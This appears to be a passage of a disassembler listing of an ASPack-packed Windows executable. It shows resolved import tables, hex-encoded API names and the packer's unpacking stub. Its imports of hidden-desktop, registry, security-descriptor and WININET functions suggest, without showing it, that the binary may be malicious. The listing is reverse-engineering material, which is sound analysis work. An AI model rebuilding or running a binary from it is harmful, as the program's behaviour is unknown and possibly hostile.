dword_447454	dd 7E43212Bh	; resolved to->USER32.GetWindowTextAdword_447458	dd 7E41B6D4h	; resolved to->USER32.GetWindowRectdword_44745C	dd 7E42DE87h	; resolved to->USER32.FindWindowAdword_447460	dd 7E41BC7Dh	; resolved to->USER32.GetWindowdword_447464	dd 7E42F420h	; resolved to->USER32.GetClassNameAdword_447468	dd 7E41DA60h	; resolved to->USER32.SetFocusdword_44746C	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_447470	dd 7E41EF69h	; resolved to->USER32.LoadCursorAdword_447474	dd 7E4208CEh	; resolved to->USER32.LoadIconAdword_447478	dd 7E418C2Eh	; resolved to->USER32.SetTimerdword_44747C	dd 7E420A36h	; resolved to->USER32.RegisterClassAdword_447480	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_447484	dd 7E42E002h	; resolved to->USER32.GetMessageAdword_447488	dd 7E41945Dh	; resolved to->USER32.GetWindowLongAdword_44748C	dd 7E41D60Dh	; resolved to->USER32.SetWindowLongAdword_447490	dd 7E455BD7h	; resolved to->USER32.CreateDesktopAdword_447494	dd 7E42E8D1h	; resolved to->USER32.SetThreadDesktopdword_447498	dd 7E419A51h	; resolved to->USER32.GetThreadDesktopdword_44749C	dd 7E418BF6h	; resolved to->USER32.TranslateMessagedword_4474A0	dd 7E4196B8h	; resolved to->USER32.DispatchMessageAdword_4474A4	dd 7E42F383h	; resolved to->USER32.SendMessageAdword_4474A8	dd 7E41A8ADh	; resolved to->USER32.wsprintfAdword_4474AC	dd 7E42E1D1h	; resolved to->USER32.PostQuitMessagedword_4474B0	dd 7E41D8A4h	; resolved to->USER32.ShowWindowdword_4474B4	dd 7E41FF33h	; resolved to->USER32.CreateWindowExAdword_4474B8	dd 7E41DAEAh	; resolved to->USER32.DestroyWindowdword_4474BC	dd 7E41DBECh	; resolved to->USER32.MoveWindowdword_4474C0	dd 7E41D4EEh	; resolved to->USER32.DefWindowProcAdword_4474C4	dd 7E41F642h	; resolved to->USER32.CallWindowProcA		align 10h
dword_4474D0	dd 77F161D1h	; resolved to->GDI32.GetStockObjectdword_4474D4	dd 77F15E39h	; resolved to->GDI32.SetBkColordword_4474D8	dd 77F15D87h	; resolved to->GDI32.SetTextColordword_4474DC	dd 77F1D991h	; resolved to->GDI32.CreateBrushIndirectdword_4474E0	dd 77F3B730h	; resolved to->GDI32.CreateFontA		dd 2 dup(0)
dword_4474EC	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessTokendword_4474F0	dd 77DD7B76h	; resolved to->ADVAPI32.GetTokenInformationdword_4474F4	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_4474F8	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKeydword_4474FC	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_447500	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_447504	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_447508	dd 77DF08D5h	; resolved to->ADVAPI32.GetSecurityInfodword_44750C	dd 77DF087Fh	; resolved to->ADVAPI32.SetSecurityInfodword_447510	dd 77E215D9h	; resolved to->ADVAPI32.SetEntriesInAclAdword_447514	dd 77DFD4B0h	; resolved to->ADVAPI32.GetSidIdentifierAuthoritydword_447518	dd 77DF9839h	; resolved to->ADVAPI32.GetSidSubAuthoritydword_44751C	dd 77DF986Bh	; resolved to->ADVAPI32.GetSidSubAuthorityCount		dd 2 dup(0)
dword_447528	dd 73D96FEBh	dword_44752C	dd 73D91C28h	dword_447530	dd 73D92B86h	dword_447534	dd 73D9A3B0h	dword_447538	dd 73D9B9A2h	dword_44753C	dd 73D91F60h	dword_447540	dd 73D9D320h	dword_447544	dd 73D9D340h	dword_447548	dd 73D9D5E0h	dword_44754C	dd 73D9242Ch	dword_447550	dd 73D9DBAFh	dword_447554	dd 73D92226h	dword_447558	dd 73D9E5C5h	dword_44755C	dd 73D9DBA2h	dword_447560	dd 73D9E61Eh	dword_447564	dd 73D9E65Ch	dword_447568	dd 73D9E69Ch	dword_44756C	dd 73D9F24Ch			dd 0
		dd 79530046h, 6C6C4173h, 7453636Fh, 676E6972h, 0
		dd 69460015h, 6946646Eh, 55747372h, 61436C72h, 45656863h
		dd 7972746Eh, 41h, 6946001Ch, 654E646Eh, 72557478h, 6361436Ch
		dd 6E456568h, 41797274h, 0
		dd 6F43006Ah, 61657243h, 6E496574h, 6E617473h, 6563h, 4C43007Ch
		dd 46444953h, 536D6F72h, 6E697274h, 67h, 6F430058h, 74696E49h
		dd 696C6169h, 657Ah, 6F43005Bh,	6E696E55h, 61697469h, 657A696Ch
		dd 0
		dd 78450081h, 72507469h, 7365636Fh, 73h, 78450083h, 646E6170h
		dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h
		dd 654700CAh, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 654700DEh
		dd 72754374h, 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h
		dd 72754374h, 746E6572h, 65726854h, 64496461h, 0
		dd 654700F8h, 6C694674h, 7A695365h, 65h, 654700FAh, 6C694674h
		dd 6D695465h, 65h, 65470100h, 73614C74h, 72724574h, 726Fh
		dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
		dd 6547010Ch, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6C43001Bh
		dd 4865736Fh, 6C646E61h, 65h, 65470122h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 65470124h, 6F725074h, 73736563h, 70616548h, 0
		dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	6547014Dh, 6D655474h, 74615070h, 4168h,	65470155h
		dd 63695474h, 756F436Bh, 746Eh,	6547015Ch, 72655674h, 6E6F6973h
		dd 0
		dd 6547015Dh, 72655674h, 6E6F6973h, 417845h, 6547015Fh
		dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh
		dd 65470165h, 6E695774h, 73776F64h, 65726944h, 726F7463h
		dd 4179h, 6C470168h, 6C61626Fh,	41646441h, 416D6F74h, 0
		dd 6C47016Ch, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C47016Dh
		dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 6C470176h, 6C61626Fh
		dd 6F6D654Dh, 74537972h, 73757461h, 0
		dd 6F430025h, 69467970h, 41656Ch, 6E490194h, 6C726574h
		dd 656B636Fh, 636E4964h, 656D6572h, 746Eh, 73490198h, 52646142h
		dd 50646165h, 7274h, 7349019Bh,	57646142h, 65746972h, 727450h
		dd 7349019Eh, 75626544h, 72656767h, 73657250h, 746E65h
		dd 6F4C01A7h, 694C6461h, 72617262h, 4179h, 6F4C01ADh, 416C6163h
		dd 636F6C6Ch, 0
		dd 6F4C01B1h, 466C6163h, 656572h, 704F01D2h, 754D6E65h
		dd 41786574h, 0
		dd 704F01D4h, 72506E65h, 7365636Fh, 73h, 72430031h, 65746165h
		dd 656C6946h, 41h, 655201FAh, 69466461h, 656Ch,	7452020Eh
		dd 776E556Ch, 646E69h, 7452020Fh, 72655A6Ch, 6D654D6Fh
		dd 79726Fh, 6553023Ah, 6C694674h, 696F5065h, 7265746Eh
		dd 0
		dd 6553023Ch, 6C694674h, 6D695465h, 65h, 7243003Ch, 65746165h
		dd 6574754Dh, 4178h, 6C530264h,	706565h, 6554026Ch, 6E696D72h
		dd 50657461h, 65636F72h, 7373h,	69560285h, 61757472h, 6C6C416Ch
		dd 636Fh, 69560287h, 61757472h,	6572466Ch, 65h,	6956028Ch
		dd 61757472h, 6575516Ch, 7972h,	72430041h, 65746165h, 636F7250h
		dd 41737365h, 0
		dd 69570297h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		dd 65h,	69570298h, 6578456Eh, 63h, 725702A2h, 46657469h
		dd 656C69h, 736C02C9h, 656C7274h, 416Eh, 736C02CAh, 656C7274h
		dd 576Eh, 72430047h, 65746165h,	65726854h, 6461h, 65440054h
		dd 6574656Ch, 656C6946h, 41h, 65470066h, 6E695774h, 54776F64h
		dd 41747865h, 0
		dd 6547006Bh, 6E695774h, 52776F64h, 746365h, 69460070h
		dd 6957646Eh, 776F646Eh, 41h, 65470074h, 6E695774h, 776F64h
		dd 6547000Eh, 616C4374h, 614E7373h, 41656Dh, 655300C4h
		dd 636F4674h, 7375h, 654700C9h,	726F4674h, 6F726765h, 57646E75h
		dd 6F646E69h, 77h, 6F4C0016h, 75436461h, 726F7372h, 41h
		dd 6F4C0018h, 63496461h, 416E6Fh, 655300FEh, 6D695474h
		dd 7265h, 65520002h, 74736967h,	6C437265h, 41737361h, 0
		dd 654D0134h, 67617373h, 786F4265h, 41h, 65470020h, 73654D74h
		dd 65676173h, 41h, 65470159h, 6E695774h, 4C776F64h, 41676E6Fh
		dd 0
		dd 6553015Bh, 6E695774h, 4C776F64h, 41676E6Fh, 0
		dd 7243015Eh, 65746165h, 6B736544h, 41706F74h, 0
		dd 65530165h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470166h
		dd 72685474h, 44646165h, 746B7365h, 706Fh, 72540024h, 6C736E61h
		dd 4D657461h, 61737365h, 6567h,	69440025h, 74617073h, 654D6863h
		dd 67617373h, 4165h, 65530030h,	654D646Eh, 67617373h, 4165h
		dd 737701EAh, 6E697270h, 416674h, 6F50003Dh, 75517473h
		dd 654D7469h, 67617373h, 65h, 6853004Bh, 6957776Fh, 776F646Eh
		dd 0
		dd 7243004Fh, 65746165h, 646E6957h, 7845776Fh, 41h, 65440051h
		dd 6F727473h, 6E695779h, 776F64h, 6F4D0056h, 69576576h
		dd 776F646Eh, 0
		dd 6544005Bh, 6E695766h, 50776F64h, 41636F72h, 0
		dd 6143005Dh, 69576C6Ch, 776F646Eh, 636F7250h, 41h, 65470089h
		dd 6F745374h, 624F6B63h, 7463656Ah, 0
		dd 655300CAh, 436B4274h, 726F6C6Fh, 0
		dd 655300DDh, 78655474h, 6C6F4374h, 726Fh, 724300FAh, 65746165h
		dd 73757242h, 646E4968h, 63657269h, 74h, 7243001Ch, 65746165h
		dd 746E6F46h, 41h, 704F0018h, 72506E65h, 7365636Fh, 6B6F5473h
		dd 6E65h, 6547001Ah, 6B6F5474h,	6E496E65h, 6D726F66h, 6F697461h
		dd 6Eh,	65520171h, 65724367h, 4B657461h, 78457965h, 41h
		dd 65520174h, 6F6C4367h, 654B6573h, 79h, 65520179h, 65704F67h
		dd 79654B6Eh, 417845h, 65520184h, 65755167h, 61567972h
		dd 4565756Ch, 4178h, 65520190h,	74655367h, 756C6156h, 41784565h
		dd 0
		dd 654701CAh, 63655374h, 74697275h, 666E4979h, 6Fh, 655301CDh
		dd 63655374h, 74697275h, 666E4979h, 6Fh, 655301D4h, 746E4574h
		dd 73656972h, 63416E49h, 416Ch,	6547004Ah, 64695374h, 6E656449h
		dd 69666974h, 75417265h, 726F6874h, 797469h, 6547004Bh
		dd 64695374h, 41627553h, 6F687475h, 79746972h, 0
		dd 6547004Ch, 64695374h, 41627553h, 6F687475h, 79746972h
		dd 6E756F43h, 74h, 695F00E8h, 616F74h, 5F5F0018h, 4D746547h
		dd 416E6961h, 736772h, 735F0181h, 7065656Ch, 0
		dd 735F01A6h, 63697274h, 706Dh,	626101F6h, 73h,	7865020Ah
		dd 7469h, 656D0253h, 706D636Dh,	0
		dd 656D0254h, 7970636Dh, 0
		dd 656D0256h, 7465736Dh, 0
		dd 61720260h, 657369h, 61720261h, 646Eh, 6973026Ah, 6C616E67h
		dd 0
		dd 7073026Dh, 746E6972h, 66h, 7273026Fh, 646E61h, 73730270h
		dd 666E6163h, 0
		dd 74730271h, 74616372h, 0
		dd 74730272h, 72686372h, 0
		dd 7473027Bh, 6D636E72h, 70h, 41454C4Fh, 32335455h, 4C4C442Eh
		dd 0
		dd offset off_447000
aWininet_dll	db 'WININET.DLL',0
		dd offset off_447014
		dd offset off_447014
aOle32_dll	db 'ole32.DLL',0
		align 4
		dd offset off_447028
		dd offset off_447028
		dd offset off_447028
		dd offset off_447028
aKernel32_dll_2	db 'KERNEL32.DLL',0
		align 4
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
aUser32_dll_0	db 'USER32.DLL',0
		align 4
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
aGdi32_dll	db 'GDI32.DLL',0
		align 4
		dd offset off_447064
		dd offset off_447064
		dd offset off_447064
		dd offset off_447064
		dd offset off_447064
aAdvapi32_dll_1	db 'ADVAPI32.DLL',0
		align 4
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
aCrtdll_dll	db 'CRTDLL.DLL',0
		align 4
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		align 1000h
_idata		ends

; Section 5. (virtual address 00049000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00049000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_aspack		segment	para public 'DATA' use32
		assume cs:_aspack
		;org 449000h
		db 90h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		pusha
		call	sub_449577
		jmp	short loc_449055
; ---------------------------------------------------------------------------
		align 4
		dd 0D9000000h, 4873h, 90DB8700h, 6 dup(0)
		dd 4900001h, 0AD000000h, 0AB000000h, 809A5100h,	809AE47Ch
		dd 7Ch,	3 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_449055:				; CODE XREF: start+6j
		mov	ebx, offset dword_4439A4
		add	ebx, ebp
		sub	ebx, ss:dword_4439D5[ebp]
		cmp	ss:dword_444804[ebp], 0
		mov	ss:dword_444804[ebp], ebx
		jnz	loc_4494DB
		lea	eax, dword_44480C[ebp]
		push	eax
		call	ss:dword_444918[ebp]
		mov	ss:dword_444808[ebp], eax
		mov	edi, eax
		lea	ebx, dword_444819[ebp]
		push	ebx
		push	eax
		call	ss:dword_444914[ebp]
		mov	ss:dword_4439E1[ebp], eax
		lea	ebx, dword_444826[ebp]
		push	ebx
		push	edi
		call	ss:dword_444914[ebp]
		mov	ss:dword_4439E5[ebp], eax
		lea	eax, dword_443B72[ebp]
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 40h,	2 dup(0)
		dd 70000000h, 12190004h, 2 dup(0)
		dd 10000000h, 0B6F80000h, 0B0000000h, 0BB040003h, 70000000h
		dd 10540004h, 36h dup(0)
		dd 9D8B0000h, 443A66h, 0A74DB0Bh, 8587038Bh, 443A6Ah, 0B58D0389h
		dd 443A82h, 0F003E83h, 11D84h, 82B58D00h, 6A00443Ah, 10006804h
		dd 680000h, 6A000018h, 0E195FF00h, 89004439h, 4439DD85h
		dd 4468B00h, 10E05h, 68046A00h,	1000h, 0FF006A50h, 4439E195h
		dd 0D9858900h, 56004439h, 9D031E8Bh, 444804h, 39DDB5FFh
		dd 76FF0044h, 0E8535004h, 339h,	39D4BD80h, 75000044h, 0D485FE5Ch
		dd 8B004439h, 4BD033Eh,	0FF004448h, 0C307C637h,	78FD7FFh
		dd 53565150h, 0E983C88Bh, 0D9B58B06h, 33004439h, 74C90BDBh
		dd 0E83CAC2Ch, 0EB0A74h, 474E93Ch, 0EDEB4943h, 0EB068Bh
		dd 75013E80h, 0C10024F3h, 0C32B18C0h, 0C3830689h, 4C68305h
		dd 0EB05E983h, 595E5BD0h, 8BC88B58h, 4BD033Eh, 8B004448h
		dd 4439D9B5h, 2F9C100h,	0C88BA5F3h, 0F303E183h,	685EA4h
		dd 6A000080h, 0D9B5FF00h, 0FF004439h, 4439E595h, 8C68300h
		dd 0F003E83h, 0FFFF2885h, 800068FFh, 6A0000h, 39DDB5FFh
		dd 95FF0044h, 4439E5h, 3A669D8Bh, 0DB0B0044h, 38B0874h
		dd 3A6A8587h, 958B0044h, 444804h, 3A62858Bh, 0D02B0044h
		dd 0C28B7974h, 3310E8C1h, 6EB58BDBh, 300443Ah, 444804B5h
		dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 4804BD03h
		dd 0C6830044h, 1E8B6608h, 830CEBC1h, 0C7401FBh,	7402FB83h
		dd 3FB8316h, 2CEB2074h,	811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh
		dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh
		dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h
		dd 44480495h, 0ADB58B00h, 0B004439h, 31174F6h, 0C00BADF2h
		dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 3A72B58Bh, 958B0044h
		dd 444804h, 468BF203h, 0FC0850Ch, 10A84h, 8BC20300h, 95FF50D8h
		dd 444918h, 775C085h, 1C95FF53h, 89004449h, 4439B185h
		dd 0B585C700h, 4439h, 8B000000h, 44480495h, 85068B00h
		dd 8B0375C0h, 0C2031046h, 39B58503h, 188B0044h,	3107E8Bh
		dd 0B5BD03FAh, 85004439h, 0A2840FDBh, 0F7000000h, 0C3h
		dd 3047580h, 534343DAh,	0FFFFE381h, 0FF537FFFh,	4439B1B5h
		dd 1495FF00h, 85004449h, 6F755BC0h, 0C3F7h, 19758000h
		dd 0C468B57h, 48048503h, 53500044h, 487F858Dh, 57500044h
		dd 99E9h, 0FFE38100h, 8B7FFFFFh, 44480885h, 0B1853900h
		dd 75004439h, 0D38B5724h, 2E2C14Ah, 39B19D8Bh, 7B8B0044h
		dd 3B7C8B3Ch, 3B5C0378h, 13048B1Ch, 39B18503h, 0EB5F0044h
		dd 468B5716h, 485030Ch,	50004448h, 0D0858D53h, 50004448h
		dd 894BEB57h, 0B5858307h, 4004439h, 0FFFF32E9h,	890689FFh
		dd 46890C46h, 14C68310h, 4804958Bh, 0EBE90044h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4494DB:				; CODE XREF: start+6Ej
		mov	eax, ss:dword_443A76[ebp]
		push	eax
		add	eax, ss:dword_444804[ebp]
		pop	ecx
		or	ecx, ecx
		mov	ss:dword_443EA1[ebp], eax
		popa
		jnz	short loc_4494FC
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4494FC:				; CODE XREF: start+4F1j
		push	offset sub_401219
		retn
start		endp

; ---------------------------------------------------------------------------
aLeHd		db '‹…',8,'HD',0
aNnahd		db 'AHD',0
		dw 5051h
		dd 491495FFh, 85890044h, 4439EDh, 4851858Dh, 0FF500044h
		dd 44491C95h, 4D858900h, 8D004448h, 44485C8Dh, 0FF505100h
		dd 44491495h, 0F1858900h, 8B004439h, 44484D85h,	688D8D00h
		dd 51004448h, 1495FF50h, 0FF004449h, 10C483D0h,	8D306A5Fh
		dd 4448729Dh, 6A575300h, 0F195FF00h, 6A004439h,	0ED95FFFFh
		db 39h,	44h, 0

; =============== S U B	R O U T	I N E =======================================



sub_449577	proc near		; CODE XREF: start+1p
		mov	ebp, [esp+0]
		sub	ebp, offset byte_4439AB
		retn
sub_449577	endp

; ---------------------------------------------------------------------------
		db 8Bh,	44h, 24h
		dd 54EC8110h, 8D000003h, 5004244Ch, 3A8E8h, 248C8B00h
		dd 35Ch, 5824948Bh, 51000003h, 244C8D52h, 40DE80Ch, 0C0840000h
		dd 0C8830A75h, 54C481FFh, 0C3000003h, 60248C8Bh, 8D000003h
		dd 51502404h, 0C244C8Dh, 5EFE8h, 75C08400h, 0FFC8830Ah
		dd 354C481h, 8BC30000h,	0C4812404h, 354h, 10C2h, 4030201h
		dd 8070605h, 100E0C0Ah,	201C1814h, 40383028h, 80706050h
		dd 0E0C0A0h, 0
		dd 1000000h, 2010101h, 3020202h, 4030303h, 5040404h, 50505h
		dd 1000000h, 3020201h, 5040403h, 7060605h, 9080807h, 0B0A0A09h
		dd 0D0C0C0Bh, 0F0E0E0Dh, 1110100Fh, 3 dup(11111111h), 12121211h
		dd 12121212h, 0D18B5112h, 8B956h, 39570000h, 3572044Ah
		dd 0FFF8BE53h, 28BFFFFh, 8840188Ah, 890C245Ch, 8428B02h
		dd 0C247C8Bh, 8108E0C1h, 0FFE7h, 8BC70B00h, 0FE03047Ah
		dd 8B084289h, 47A89C7h,	0D273C13Bh, 4728B5Bh, 8B08428Bh
		dd 2B10247Ch, 0B9E8D3CEh, 18h, 0FF25CF2Bh, 0D300FFFFh
		dd 5FF703E8h, 5E047289h, 4C259h, 424448Bh, 824548Bh, 848189h
		dd 91890000h, 88h, 8982048Dh, 8C81h, 1000500h, 8C20000h
		dd 98EC8100h, 53000000h, 0D18B5655h, 0FB957h, 0AA8B0000h
		dd 84h,	7C8DC033h, 0F6332C24h, 0BC8BABF3h, 0AC24h, 89EE3B00h
		dd 76202454h, 8AC93315h, 5C8B380Ch, 4C8D288Ch, 4043288Ch
		dd 1989C53Bh, 17B9EB72h, 89000000h, 89282474h, 72890472h
		dd 24748944h, 89FF3368h, 0C71C2474h, 1102444h, 89000000h
		dd 8D18244Ch, 7489086Ah, 448B1424h, 0E0D32C34h,	0FF81F803h
		dd 1000000h, 24247C89h,	8E870Fh, 448B0000h, 7D892834h
		dd 3C5D8B00h, 0F983C303h, 40458910h, 6C344489h,	758B4D7Ch
		dd 24448B00h, 245C8B10h, 8CBA8B1Ch, 0C1000000h,	0CE8B10EEh
		dd 0FF25h, 3CB2B00h, 8BD88AFBh,	89FB8AD1h, 8B1C2474h, 24748BC3h
		dd 10E0C114h, 0C1C38B66h, 0ABF302E9h, 548BCA8Bh, 0E1832024h
		dd 8BAAF303h, 8B24247Ch, 8B18244Ch, 83102444h, 494004C6h
		dd 8304C583h, 448909F9h, 4C891024h, 74891824h, 8D0F1424h
		dd 0FFFFFF62h, 0FF81h, 0F740100h, 325D5E5Fh, 0C4815BC0h
		dd 98h,	8B0004C2h, 8482h, 85C93300h, 8B3B76C0h,	0AC24B4h
		dd 48A0000h, 74C08431h,	88BA8B22h, 25000000h, 0FFh, 6884448Bh
		dd 33870C89h, 31048AC0h, 68847C8Bh, 6884448Dh, 8B388947h
		dd 8482h, 0C83B4100h, 5E5FCC72h, 5B01B05Dh, 98C481h, 4C20000h
		dd 56535100h, 8B57F18Bh, 4788306h, 8B307208h, 41118A08h
		dd 0C245488h, 488B0889h, 24548B08h, 8E1C10Ch, 0FFE281h
		dd 0CA0B0000h, 8304508Bh, 4889F8C2h, 89CA8B08h,	0F9830450h
		dd 8BD07308h, 408B0450h, 8B908h, 0CA2B0000h, 4E8BE8D3h
		dd 0FE002524h, 0C13B00FFh, 968B1473h, 8Ch, 0E9C1C88Bh
		dd 8ADB3310h, 0D38B111Ch, 463B3BEBh, 3B0A732Ch,	0D21B2846h
		dd 0EB0AC283h, 30463B2Ch, 0BBA0773h, 0EB000000h, 34463B20h
		dd 0CBA0773h, 0EB000000h, 38463B14h, 0DBA0773h,	0EB000000h
		dd 3C463B08h, 0C283D21Bh, 8B0E8B0Fh, 0FA030479h, 8B047989h
		dd 18B9961Ch, 2B000000h, 5FCA2BC3h, 4C8BE8D3h, 0C1034496h
		dd 888E8Bh, 5B5E0000h, 5981048Bh, 575653C3h, 0D233F98Bh
		dd 0B78DC033h, 268h, 0E8561689h, 25Eh, 0C7308C8Ah, 5E00443Fh
		dd 1BBh, 4C68300h, 0D303E3D3h, 3AF88340h, 448BDE72h, 4F8D1024h
		dd 0D1685010h, 0E8000002h, 0FFFFFD48h, 8D1C6A50h, 0A08Fh
		dd 0FD3AE800h, 6A50FFFFh, 308F8D08h, 0E8000001h, 0FFFFFD2Ch
		dd 8D136A50h, 1C08Fh, 0FD1EE800h, 8789FFFFh, 260h, 0F5055E5Fh
		dd 5B000002h, 8B0004C2h, 8B082444h, 244C8BD1h, 2895704h
		dd 8904428Dh, 440C708h,	20h, 89104289h,	0A082h,	30828900h
		dd 89000001h, 1C082h, 0B9C03300h, 0BDh,	2508289h, 82890000h
		dd 254h, 2588289h, 0BA8B0000h, 260h, 25C8289h, 0ABF30000h
		dd 0E8AACA8Bh, 4, 8C25Fh, 30CEC81h, 8B530000h, 8D5655D9h
		dd 6A57046Bh, 0E8CD8B01h, 0FFFFFC29h, 0E75C085h, 260BB8Bh
		dd 0BDB90000h, 0F3000000h, 0F633AAABh, 0CD8B046Ah, 0FFFC0CE8h
		dd 344488FFh, 0FE834610h, 8DED7213h, 1C0BBh, 24448D00h
		dd 0CF8B5010h, 0FFFC80E8h, 75C084FFh, 5D5E5F0Bh, 0CC4815Bh
		dd 0C3000003h, 0CF8BF633h, 0FFFDE4E8h, 10F883FFh, 8B8B1573h
		dd 260h, 231148Ah, 0FE280D0h, 24345488h, 7560EB46h, 8B026A28h
		dd 0FBB3E8CDh, 0C083FFFFh, 7EC08503h, 0F5FE814Eh, 7D000002h
		dd 344C8A52h, 4C884823h, 85462434h, 0EBEA7FC0h,	11F88336h
		dd 36A0E75h, 86E8CD8Bh,	83FFFFFBh, 0CEB03C0h, 0CD8B076Ah
		dd 0FFFB78E8h, 0BC083FFh, 137EC085h, 2F5FE81h, 177D0000h
		dd 243444C6h, 85484600h, 81ED7FC0h, 2F5FEh, 738C0F00h
		dd 8DFFFFFFh, 8D242454h, 0E852104Bh, 0FFFFFBD5h, 0B75C084h
		dd 5B5D5E5Fh, 30CC481h,	8DC30000h, 2F52484h, 8B8D0000h
		dd 0A0h, 0FBB3E850h, 0C084FFFFh, 5E5F0B75h, 0C4815B5Dh
		dd 30Ch, 248C8DC3h, 311h, 308B8D51h, 0E8000001h, 0FFFFFB91h
		dd 0B75C084h, 5B5D5E5Fh, 30CC481h, 0C6C30000h, 26483h
		dd 0C0330000h, 1104BC80h, 3000003h, 83400875h, 0F07208F8h
		dd 83C607EBh, 264h, 60838B01h, 8D000002h, 0BE24244Ch, 2F5h
		dd 1088118Ah, 754E4140h, 5D5E5FF7h, 815B01B0h, 30CC4h
		dd 1E8C300h, 90000000h,	5BEE815Eh, 0C3004445h, 8B14EC83h
		dd 531C2444h, 0C75655h,	0
		dd 2424448Bh, 85FF3357h, 89F18BC0h, 0F10247Ch, 25B86h
		dd 104E8D00h, 0FFFC7CE8h, 1003DFFh, 13730000h, 1880E8Bh
		dd 47410E8Bh, 7C890E89h, 29E91024h, 3D000002h, 2D0h, 213830Fh
		dd 50000h, 8BFFFFFFh, 7E083E8h,	8D03EDC1h, 0F8830250h
		dd 24548907h, 94850F14h, 8D000000h, 0A08Eh, 0FC2FE800h
		dd 4E8BFFFFh, 56DB3308h, 0FFFF6DE8h, 309C8AFFh,	443FABh
		dd 8F9835Eh, 4E8B3272h,	41118A04h, 18245488h, 8B044E89h
		dd 548B0C4Eh, 0E1C11824h, 0FFE28108h, 0B000000h, 8568BCAh
		dd 89F8C283h, 0CA8B0C4Eh, 83085689h, 0CE7308F9h, 8B087E8Bh
		dd 8B90C56h, 2B000000h,	0D3FB03CFh, 18B9EAh, 7E890000h
		dd 81CB2B08h, 0FFFFFFE2h, 33EAD300h, 3E856C9h, 8AFFFFFFh
		dd 3F8F308Ch, 8B5E0044h, 3142444h, 89C103CAh, 8A142444h
		dd 26486h, 0AE9C8B00h, 268h, 0E856D233h, 0FFFFFEDAh, 0C735948Ah
		dd 5E00443Fh, 0FA8BC084h, 0FF837674h, 8B717203h, 6F8D0846h
		dd 8F883FDh, 468B3172h,	0C568B04h, 8A08E2C1h, 4C884008h
		dd 4E8B1C24h, 4468908h,	1C24448Bh, 0FF25h, 0F8C18300h
		dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h,	7E8B0846h
